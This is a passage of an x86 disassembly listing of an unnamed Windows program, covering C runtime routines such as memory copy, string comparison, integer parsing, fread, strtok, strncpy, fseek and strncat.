3 cmp ecx, 4 jb short loc_4184A4 and eax, 3 sub ecx, eax jmp dword ptr loc_4184A4+4[eax*4] ; --------------------------------------------------------------------------- loc_4184A4: ; CODE XREF: sub_4182C0+1D6j ; DATA XREF: sub_4182C0+1DDr jmp off_4185A0[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_4184B7+1 ; --------------------------------------------------------------------------- fadd dword ptr [ecx+eax*2+41850000h] loc_4184B7: ; DATA XREF: sub_4182C0+1ECo add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_418480 std rep movsd cld jmp off_4185A0[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_418480 std rep movsd cld jmp off_4185A0[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_418480 std rep movsd cld jmp off_4185A0[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_418554 dd offset loc_41855C dd offset loc_418564 dd offset loc_41856C dd offset loc_418574 dd offset loc_41857C dd offset loc_418584 off_418550 dd offset loc_418597 ; DATA XREF: sub_4182C0+1C2r ; --------------------------------------------------------------------------- loc_418554: ; DATA XREF: sub_4182C0+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41855C: ; DATA XREF: sub_4182C0+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_418564: ; DATA XREF: sub_4182C0+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41856C: ; DATA XREF: sub_4182C0+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_418574: ; DATA XREF: sub_4182C0+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41857C: ; DATA XREF: sub_4182C0+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_418584: ; DATA XREF: sub_4182C0+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_418597: ; CODE XREF: sub_4182C0+1C2j ; DATA XREF: sub_4182C0:off_418550o jmp off_4185A0[edx*4] ; --------------------------------------------------------------------------- align 10h off_4185A0 dd offset loc_4185B0 ; DATA XREF: sub_4182C0+1B7r ; sub_4182C0:loc_4184A4r ... dd offset loc_4185B8 dd offset loc_4185C8 dd offset loc_4185DC ; --------------------------------------------------------------------------- loc_4185B0: ; CODE XREF: sub_4182C0+1B7j ; sub_4182C0:loc_4184A4j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4185B8: ; CODE XREF: sub_4182C0+1B7j ; sub_4182C0:loc_4184A4j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4185C8: ; CODE XREF: sub_4182C0+1B7j ; sub_4182C0:loc_4184A4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4185DC: ; CODE XREF: sub_4182C0+1B7j ; sub_4182C0:loc_4184A4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_4182C0 endp ; =============== S U B R O U T I N E ======================================= sub_4185F5 proc near ; CODE XREF: sub_40473F+34p ; sub_40473F+4Fp ... arg_0 = dword ptr 4 push 1 push [esp+4+arg_0] call sub_417B9B pop ecx pop ecx retn sub_4185F5 endp ; =============== S U B R O U T I N E ======================================= sub_418603 proc near ; CODE XREF: sub_418670+4p arg_0 = dword ptr 4 push esi push dword_48B69C call sub_41D5A8 mov edx, dword_48B69C pop ecx mov ecx, dword_48B698 mov esi, ecx sub esi, edx add esi, 4 cmp eax, esi pop esi jnb short loc_418662 push edx call sub_41D5A8 add eax, 10h push eax push dword_48B69C call sub_41944F add esp, 0Ch test eax, eax jnz short loc_418645 retn ; --------------------------------------------------------------------------- loc_418645: ; CODE XREF: sub_418603+3Fj mov ecx, dword_48B698 sub ecx, dword_48B69C mov dword_48B69C, eax sar ecx, 2 lea ecx, [eax+ecx*4] mov dword_48B698, ecx loc_418662: ; CODE XREF: sub_418603+23j mov eax, [esp+arg_0] mov [ecx], eax add dword_48B698, 4 retn sub_418603 endp ; =============== S U B R O U T I N E ======================================= sub_418670 proc near ; CODE XREF: sub_40482C+1Ap arg_0 = dword ptr 4 push [esp+arg_0] call sub_418603 neg eax sbb eax, eax pop ecx neg eax dec eax retn sub_418670 endp ; =============== S U B R O U T I N E ======================================= sub_418682 proc near ; DATA XREF: ___:00426018o push 80h call sub_417B89 test eax, eax pop ecx mov dword_48B69C, eax jnz short loc_4186A3 push 18h call sub_419CDA mov eax, dword_48B69C pop ecx loc_4186A3: ; CODE XREF: sub_418682+12j and dword ptr [eax], 0 mov eax, dword_48B69C mov dword_48B698, eax retn sub_418682 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4186B1 proc near ; CODE XREF: ___:00404AFFp ; sub_4053D5+4Ep var_CC = byte ptr -0CCh var_32 = word ptr -32h var_24 = dword ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1A = word ptr -1Ah var_18 = word ptr -18h var_16 = word ptr -16h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0CCh lea eax, [ebp+var_10] push eax nop call near ptr 25F0000h lea eax, [ebp+var_20] push eax nop call near ptr 27F0000h mov ax, [ebp+var_16] cmp ax, word_48A00A jnz short loc_418716 mov ax, [ebp+var_18] cmp ax, word_48A008 jnz short loc_418716 mov ax, [ebp+var_1A] cmp ax, word_48A006 jnz short loc_418716 mov ax, [ebp+var_1E] cmp ax, word_48A002 jnz short loc_418716 mov ax, [ebp+var_20] cmp ax, word_48A000 jnz short loc_418716 mov eax, dword_489FF8 jmp short loc_41875B ; --------------------------------------------------------------------------- loc_418716: ; CODE XREF: sub_4186B1+28j ; sub_4186B1+35j ... lea eax, [ebp+var_CC] push eax nop call near ptr 27E0000h cmp eax, 0FFFFFFFFh jz short loc_418743 cmp eax, 2 jnz short loc_41873F cmp [ebp+var_32], 0 jz short loc_41873F cmp [ebp+var_24], 0 jz short loc_41873F push 1 pop eax jmp short loc_418746 ; --------------------------------------------------------------------------- loc_41873F: ; CODE XREF: sub_4186B1+7Aj ; sub_4186B1+81j ... xor eax, eax jmp short loc_418746 ; --------------------------------------------------------------------------- loc_418743: ; CODE XREF: sub_4186B1+75j or eax, 0FFFFFFFFh loc_418746: ; CODE XREF: sub_4186B1+8Cj ; sub_4186B1+90j push esi push edi lea esi, [ebp+var_20] mov edi, offset word_48A000 movsd movsd movsd movsd pop edi mov dword_489FF8, eax pop esi loc_41875B: ; CODE XREF: sub_4186B1+63j push eax movzx eax, [ebp+var_4] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_10] push eax call sub_41D609 mov ecx, [ebp+arg_0] add esp, 1Ch test ecx, ecx jz short locret_41878B mov [ecx], eax locret_41878B: ; CODE XREF: sub_4186B1+D6j leave retn sub_4186B1 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418790 proc near arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push edi push esi push ebx mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] lea eax, dword_48A0A0 cmp dword ptr [eax+8], 0 jnz short loc_4187E3 mov al, 0FFh mov edi, edi loc_4187AC: ; CODE XREF: sub_418790+28j ; sub_418790+48j or al, al jz short loc_4187DE mov al, [esi] inc esi mov ah, [edi] inc edi cmp ah, al jz short loc_4187AC sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h xchg ah, al sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h cmp al, ah jz short loc_4187AC sbb al, al sbb al, 0FFh loc_4187DE: ; CODE XREF: sub_418790+1Ej movsx eax, al jmp short loc_418817 ; --------------------------------------------------------------------------- loc_4187E3: ; CODE XREF: sub_418790+16j mov eax, 0FFh xor ebx, ebx mov edi, edi loc_4187EC: ; CODE XREF: sub_418790+68j ; sub_418790+80j or al, al jz short loc_418817 mov al, [esi] inc esi mov bl, [edi] inc edi cmp al, bl jz short loc_4187EC push eax push ebx call sub_419101 mov ebx, eax add esp, 4 call sub_419101 add esp, 4 cmp bl, al jz short loc_4187EC sbb eax, eax sbb eax, 0FFFFFFFFh loc_418817: ; CODE XREF: sub_418790+51j ; sub_418790+5Ej pop ebx pop esi pop edi leave retn sub_418790 endp ; =============== S U B R O U T I N E ======================================= sub_41881C proc near ; CODE XREF: ___:0041ACB7p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_418833 add esp, 10h retn sub_41881C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418833 proc near ; CODE XREF: sub_41881C+Ep ; sub_418A3B+Ep var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0Ch push ebx and [ebp+var_8], 0 push esi push edi mov edi, [ebp+arg_0] mov bl, [edi] lea esi, [edi+1] mov [ebp+var_4], esi loc_41884B: ; CODE XREF: sub_418833+46j cmp dword_4397AC, 1 jle short loc_418863 movzx eax, bl push 8 push eax call sub_41A642 pop ecx pop ecx jmp short loc_418872 ; --------------------------------------------------------------------------- loc_418863: ; CODE XREF: sub_418833+1Fj mov ecx, off_4395A0 movzx eax, bl mov al, [ecx+eax*2] and eax, 8 loc_418872: ; CODE XREF: sub_418833+2Ej test eax, eax jz short loc_41887B mov bl, [esi] inc esi jmp short loc_41884B ; --------------------------------------------------------------------------- loc_41887B: ; CODE XREF: sub_418833+41j cmp bl, 2Dh mov [ebp+var_4], esi jnz short loc_418889 or [ebp+arg_C], 2 jmp short loc_41888E ; --------------------------------------------------------------------------- loc_418889: ; CODE XREF: sub_418833+4Ej cmp bl, 2Bh jnz short loc_418894 loc_41888E: ; CODE XREF: sub_418833+54j mov bl, [esi] inc esi mov [ebp+var_4], esi loc_418894: ; CODE XREF: sub_418833+59j mov eax, [ebp+arg_8] test eax, eax jl loc_418A2B cmp eax, 1 jz loc_418A2B cmp eax, 24h jg loc_418A2B push 10h test eax, eax pop ecx jnz short loc_4188DC cmp bl, 30h jz short loc_4188C6 mov [ebp+arg_8], 0Ah jmp short loc_4188F8 ; --------------------------------------------------------------------------- loc_4188C6: ; CODE XREF: sub_418833+88j mov al, [esi] cmp al, 78h jz short loc_4188D9 cmp al, 58h jz short loc_4188D9 mov [ebp+arg_8], 8 jmp short loc_4188F8 ; --------------------------------------------------------------------------- loc_4188D9: ; CODE XREF: sub_418833+97j ; sub_418833+9Bj mov [ebp+arg_8], ecx loc_4188DC: ; CODE XREF: sub_418833+83j cmp [ebp+arg_8], ecx jnz short loc_4188F8 cmp bl, 30h jnz short loc_4188F8 mov al, [esi] cmp al, 78h jz short loc_4188F0 cmp al, 58h jnz short loc_4188F8 loc_4188F0: ; CODE XREF: sub_418833+B7j mov bl, [esi+1] inc esi inc esi mov [ebp+var_4], esi loc_4188F8: ; CODE XREF: sub_418833+91j ; sub_418833+A4j ... or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] mov edi, 103h mov [ebp+var_C], eax loc_418908: ; CODE XREF: sub_418833+16Cj cmp dword_4397AC, 1 movzx esi, bl jle short loc_418920 push 4 push esi call sub_41A642 pop ecx pop ecx jmp short loc_41892B ; --------------------------------------------------------------------------- loc_418920: ; CODE XREF: sub_418833+DFj mov eax, off_4395A0 mov al, [eax+esi*2] and eax, 4 loc_41892B: ; CODE XREF: sub_418833+EBj test eax, eax jz short loc_418937 movsx ecx, bl sub ecx, 30h jmp short loc_418969 ; --------------------------------------------------------------------------- loc_418937: ; CODE XREF: sub_418833+FAj cmp dword_4397AC, 1 jle short loc_41894B push edi push esi call sub_41A642 pop ecx pop ecx jmp short loc_418956 ; --------------------------------------------------------------------------- loc_41894B: ; CODE XREF: sub_418833+10Bj mov eax, off_4395A0 mov ax, [eax+esi*2] and eax, edi loc_418956: ; CODE XREF: sub_418833+116j test eax, eax jz short loc_4189A4 movsx eax, bl push eax call sub_41D6CB pop ecx mov ecx, eax sub ecx, 37h loc_418969: ; CODE XREF: sub_418833+102j cmp ecx, [ebp+arg_8] jnb short loc_4189A4 mov esi, [ebp+var_8] or [ebp+arg_C], 8 cmp esi, [ebp+var_C] jb short loc_41898E jnz short loc_418988 or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] cmp ecx, edx jbe short loc_41898E loc_418988: ; CODE XREF: sub_418833+147j or [ebp+arg_C], 4 jmp short loc_418997 ; --------------------------------------------------------------------------- loc_41898E: ; CODE XREF: sub_418833+145j ; sub_418833+153j imul esi, [ebp+arg_8] add esi, ecx mov [ebp+var_8], esi loc_418997: ; CODE XREF: sub_418833+159j mov eax, [ebp+var_4] inc [ebp+var_4] mov bl, [eax] jmp loc_418908 ; --------------------------------------------------------------------------- loc_4189A4: ; CODE XREF: sub_418833+125j ; sub_418833+139j mov ecx, [ebp+arg_C] dec [ebp+var_4] mov edx, [ebp+arg_4] test cl, 8 jnz short loc_4189C2 test edx, edx jz short loc_4189BC mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_4189BC: ; CODE XREF: sub_418833+181j and [ebp+var_8], 0 jmp short loc_418A0F ; --------------------------------------------------------------------------- loc_4189C2: ; CODE XREF: sub_418833+17Dj test cl, 4 mov eax, 7FFFFFFFh jnz short loc_4189E8 test cl, 1 jnz short loc_418A0F and ecx, 2 jz short loc_4189DF cmp [ebp+var_8], 80000000h ja short loc_4189E8 loc_4189DF: ; CODE XREF: sub_418833+1A1j test ecx, ecx jnz short loc_418A0F cmp [ebp+var_8], eax jbe short loc_418A0F loc_4189E8: ; CODE XREF: sub_418833+197j ; sub_418833+1AAj test byte ptr [ebp+arg_C], 1 mov dword_48A014, 22h jz short loc_4189FE or [ebp+var_8], 0FFFFFFFFh jmp short loc_418A0F ; --------------------------------------------------------------------------- loc_4189FE: ; CODE XREF: sub_418833+1C3j mov ecx, [ebp+arg_C] and cl, 2 neg cl sbb ecx, ecx neg ecx add ecx, eax mov [ebp+var_8], ecx loc_418A0F: ; CODE XREF: sub_418833+18Dj ; sub_418833+19Cj ... test edx, edx jz short loc_418A18 mov eax, [ebp+var_4] mov [edx], eax loc_418A18: ; CODE XREF: sub_418833+1DEj test byte ptr [ebp+arg_C], 2 jz short loc_418A26 mov eax, [ebp+var_8] neg eax mov [ebp+var_8], eax loc_418A26: ; CODE XREF: sub_418833+1E9j mov eax, [ebp+var_8] jmp short loc_418A36 ; --------------------------------------------------------------------------- loc_418A2B: ; CODE XREF: sub_418833+66j ; sub_418833+6Fj ... mov eax, [ebp+arg_4] test eax, eax jz short loc_418A34 mov [eax], edi loc_418A34: ; CODE XREF: sub_418833+1FDj xor eax, eax loc_418A36: ; CODE XREF: sub_418833+1F6j pop edi pop esi pop ebx leave retn sub_418833 endp ; =============== S U B R O U T I N E ======================================= sub_418A3B proc near ; CODE XREF: sub_4053D5+4BDp ; sub_40EE72+3775p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_418833 add esp, 10h retn sub_418A3B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418A52 proc near ; CODE XREF: sub_4053D5+266p ; sub_4053D5+46Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] mov [ebp+var_14], 49h push eax mov [ebp+var_18], eax mov [ebp+var_20], eax call sub_417AB0 mov [ebp+var_1C], eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_20] push [ebp+arg_4] push eax call sub_41D797 add esp, 10h leave retn sub_418A52 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418A86 proc near ; CODE XREF: sub_405A58+4Ep ; sub_406C19+30Ep ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov ecx, edi test edi, edi mov [ebp+var_4], edi mov [ebp+arg_0], ecx jnz short loc_418AAA xor eax, eax jmp loc_418B53 ; --------------------------------------------------------------------------- loc_418AAA: ; CODE XREF: sub_418A86+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_418ABD mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_418AC9 ; --------------------------------------------------------------------------- loc_418ABD: ; CODE XREF: sub_418A86+2Dj mov [ebp+arg_C], 1000h jmp short loc_418AC9 ; --------------------------------------------------------------------------- loc_418AC6: ; CODE XREF: sub_418A86+C4j mov ecx, [ebp+arg_0] loc_418AC9: ; CODE XREF: sub_418A86+35j ; sub_418A86+3Ej test word ptr [esi+0Ch], 10Ch jz short loc_418AFB mov eax, [esi+4] test eax, eax jz short loc_418AFB cmp ecx, eax mov edi, ecx jb short loc_418AE0 mov edi, eax loc_418AE0: ; CODE XREF: sub_418A86+56j push edi push dword ptr [esi] push ebx call sub_417390 sub [ebp+arg_0], edi sub [esi+4], edi add [esi], edi add esp, 0Ch add ebx, edi mov edi, [ebp+var_4] jmp short loc_418B46 ; --------------------------------------------------------------------------- loc_418AFB: ; CODE XREF: sub_418A86+49j ; sub_418A86+50j cmp ecx, [ebp+arg_C] jb short loc_418B2E cmp [ebp+arg_C], 0 mov eax, ecx jz short loc_418B11 xor edx, edx div [ebp+arg_C] mov eax, ecx sub eax, edx loc_418B11: ; CODE XREF: sub_418A86+80j push eax push ebx push dword ptr [esi+10h] call sub_41E321 add esp, 0Ch test eax, eax jz short loc_418B58 cmp eax, 0FFFFFFFFh jz short loc_418B5E sub [ebp+arg_0], eax add ebx, eax jmp short loc_418B46 ; --------------------------------------------------------------------------- loc_418B2E: ; CODE XREF: sub_418A86+78j push esi call sub_41E248 cmp eax, 0FFFFFFFFh pop ecx jz short loc_418B62 mov [ebx], al mov eax, [esi+18h] inc ebx dec [ebp+arg_0] mov [ebp+arg_C], eax loc_418B46: ; CODE XREF: sub_418A86+73j ; sub_418A86+A6j cmp [ebp+arg_0], 0 jnz loc_418AC6 mov eax, [ebp+arg_8] loc_418B53: ; CODE XREF: sub_418A86+1Fj ; sub_418A86+E6j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_418B58: ; CODE XREF: sub_418A86+9Aj or dword ptr [esi+0Ch], 10h jmp short loc_418B62 ; --------------------------------------------------------------------------- loc_418B5E: ; CODE XREF: sub_418A86+9Fj or dword ptr [esi+0Ch], 20h loc_418B62: ; CODE XREF: sub_418A86+B2j ; sub_418A86+D6j mov eax, edi xor edx, edx sub eax, [ebp+arg_0] div [ebp+arg_4] jmp short loc_418B53 sub_418A86 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418B6E proc near ; CODE XREF: sub_405AF2+2B2p ; sub_4060D0+101p ... var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push ebx push esi mov esi, [ebp+arg_4] push edi push 8 xor eax, eax pop ecx lea edi, [ebp+var_20] rep stosd push 7 pop edi loc_418B87: ; CODE XREF: sub_418B6E+32j mov dl, [esi] mov bl, 1 movzx ecx, dl mov eax, ecx and ecx, edi shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_20] or [eax], bl inc esi test dl, dl jnz short loc_418B87 mov edx, [ebp+arg_0] test edx, edx jnz short loc_418BAF mov edx, dword_48A010 loc_418BAF: ; CODE XREF: sub_418B6E+39j ; sub_418B6E+5Fj mov al, [edx] push 1 movzx esi, al mov ecx, esi pop ebx and ecx, edi shl ebx, cl shr esi, 3 mov cl, [ebp+esi+var_20] test bl, cl jz short loc_418BCF test al, al jz short loc_418BCF inc edx jmp short loc_418BAF ; --------------------------------------------------------------------------- loc_418BCF: ; CODE XREF: sub_418B6E+58j ; sub_418B6E+5Cj mov ebx, edx loc_418BD1: ; CODE XREF: sub_418B6E+81j mov al, [edx] test al, al jz short loc_418BF5 movzx esi, al mov ecx, esi push 1 and ecx, edi pop eax shl eax, cl shr esi, 3 mov cl, [ebp+esi+var_20] test al, cl jnz short loc_418BF1 inc edx jmp short loc_418BD1 ; --------------------------------------------------------------------------- loc_418BF1: ; CODE XREF: sub_418B6E+7Ej and byte ptr [edx], 0 inc edx loc_418BF5: ; CODE XREF: sub_418B6E+67j mov eax, ebx pop edi sub eax, edx pop esi neg eax sbb eax, eax mov dword_48A010, edx and eax, ebx pop ebx leave retn sub_418B6E endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_418C10 proc near ; CODE XREF: sub_406387+1B6p ; sub_407252+6Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_418C93 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_418C34 shr ecx, 2 jnz short loc_418CA1 jmp short loc_418C55 ; --------------------------------------------------------------------------- loc_418C34: ; CODE XREF: sub_418C10+1Bj ; sub_418C10+37j mov al, [esi] inc esi mov [edi], al inc edi dec ecx jz short loc_418C62 test al, al jz short loc_418C6A test esi, 3 jnz short loc_418C34 mov ebx, ecx shr ecx, 2 jnz short loc_418CA1 loc_418C50: ; CODE XREF: sub_418C10+8Fj and ebx, 3 jz short loc_418C62 loc_418C55: ; CODE XREF: sub_418C10+22j ; sub_418C10+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_418C8E dec ebx jnz short loc_418C55 loc_418C62: ; CODE XREF: sub_418C10+2Bj ; sub_418C10+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_418C6A: ; CODE XREF: sub_418C10+2Fj test edi, 3 jz short loc_418C84 loc_418C72: ; CODE XREF: sub_418C10+72j mov [edi], al inc edi dec ecx jz loc_418D06 test edi, 3 jnz short loc_418C72 loc_418C84: ; CODE XREF: sub_418C10+60j mov ebx, ecx shr ecx, 2 jnz short loc_418CF7 loc_418C8B: ; CODE XREF: sub_418C10+7Fj ; sub_418C10+F4j mov [edi], al inc edi loc_418C8E: ; CODE XREF: sub_418C10+4Dj dec ebx jnz short loc_418C8B pop ebx pop esi loc_418C93: ; CODE XREF: sub_418C10+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_418C99: ; CODE XREF: sub_418C10+A9j ; sub_418C10+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_418C50 loc_418CA1: ; CODE XREF: sub_418C10+20j ; sub_418C10+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_418C99 test dl, dl jz short loc_418CEB test dh, dh jz short loc_418CE1 test edx, 0FF0000h jz short loc_418CD7 test edx, 0FF000000h jnz short loc_418C99 mov [edi], edx jmp short loc_418CEF ; --------------------------------------------------------------------------- loc_418CD7: ; CODE XREF: sub_418C10+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_418CEF ; --------------------------------------------------------------------------- loc_418CE1: ; CODE XREF: sub_418C10+B1j and edx, 0FFh mov [edi], edx jmp short loc_418CEF ; --------------------------------------------------------------------------- loc_418CEB: ; CODE XREF: sub_418C10+ADj xor edx, edx mov [edi], edx loc_418CEF: ; CODE XREF: sub_418C10+C5j ; sub_418C10+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_418D01 loc_418CF7: ; CODE XREF: sub_418C10+79j xor eax, eax loc_418CF9: ; CODE XREF: sub_418C10+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_418CF9 loc_418D01: ; CODE XREF: sub_418C10+E5j and ebx, 3 jnz short loc_418C8B loc_418D06: ; CODE XREF: sub_418C10+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_418C10 endp ; =============== S U B R O U T I N E ======================================= sub_418D0E proc near ; CODE XREF: sub_406C19+2E2p ; sub_406C19+435p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push edi mov eax, [esi+0Ch] test al, 83h jz short loc_418D8A mov edi, [esp+8+arg_8] test edi, edi jz short loc_418D2D cmp edi, 1 jz short loc_418D2D cmp edi, 2 jnz short loc_418D8A loc_418D2D: ; CODE XREF: sub_418D0E+13j ; sub_418D0E+18j and al, 0EFh cmp edi, 1 mov [esi+0Ch], eax jnz short loc_418D44 push esi call sub_41E5B1 add [esp+0Ch+arg_4], eax pop ecx xor edi, edi loc_418D44: ; CODE XREF: sub_418D0E+27j push esi call sub_41A7D0 mov eax, [esi+0Ch] pop ecx test al, 80h jz short loc_418D59 and al, 0FCh mov [esi+0Ch], eax jmp short loc_418D6D ; --------------------------------------------------------------------------- loc_418D59: ; CODE XREF: sub_418D0E+42j test al, 1 jz short loc_418D6D test al, 8 jz short loc_418D6D test ah, 4 jnz short loc_418D6D mov dword ptr [esi+18h], 200h loc_418D6D: ; CODE XREF: sub_418D0E+49j ; sub_418D0E+4Dj ... push edi push [esp+0Ch+arg_4] push dword ptr [esi+10h] call sub_41E517 add esp, 0Ch xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl dec ecx mov eax, ecx jmp short loc_418D97 ; --------------------------------------------------------------------------- loc_418D8A: ; CODE XREF: sub_418D0E+Bj ; sub_418D0E+1Dj mov dword_48A014, 16h or eax, 0FFFFFFFFh loc_418D97: ; CODE XREF: sub_418D0E+7Aj pop edi pop esi retn sub_418D0E endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418DA0 proc near ; CODE XREF: sub_406C19+2ACp ; sub_406C19+2CDp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_418DD1 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_418DCF jz short loc_418DD1 dec ecx dec ecx loc_418DCF: ; CODE XREF: sub_418DA0+29j not ecx loc_418DD1: ; CODE XREF: sub_418DA0+9j ; sub_418DA0+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_418DA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_418DE0 proc near ; CODE XREF: sub_407110+5Cp ; sub_407110+9Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_418E94 mov edi, [esp+4+arg_0] push esi test edi, 3 push ebx jz short loc_418E0A loc_418DFB: ; CODE XREF: sub_418DE0+28j mov al, [edi] inc edi test al, al jz short loc_418E3B test edi, 3 jnz short loc_418DFB loc_418E0A: ; CODE XREF: sub_418DE0+19j ; sub_418DE0+40j ... mov eax, [edi] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add edi, 4 test eax, 81010100h jz short loc_418E0A mov eax, [edi-4] test al, al jz short loc_418E48 test ah, ah jz short loc_418E43 test eax, 0FF0000h jz short loc_418E3E test eax, 0FF000000h jnz short loc_418E0A loc_418E3B: ; CODE XREF: sub_418DE0+20j dec edi jmp short loc_418E4B ; --------------------------------------------------------------------------- loc_418E3E: ; CODE XREF: sub_418DE0+52j sub edi, 2 jmp short loc_418E4B ; --------------------------------------------------------------------------- loc_418E43: ; CODE XREF: sub_418DE0+4Bj sub edi, 3 jmp short loc_418E4B ; --------------------------------------------------------------------------- loc_418E48: ; CODE XREF: sub_418DE0+47j sub edi, 4 loc_418E4B: ; CODE XREF: sub_418DE0+5Cj ; sub_418DE0+61j ... mov esi, [esp+0Ch+arg_4] test esi, 3 jnz short loc_418E60 mov ebx, ecx shr ecx, 2 jnz short loc_418EAC jmp short loc_418E7C ; --------------------------------------------------------------------------- loc_418E60: ; CODE XREF: sub_418DE0+75j ; 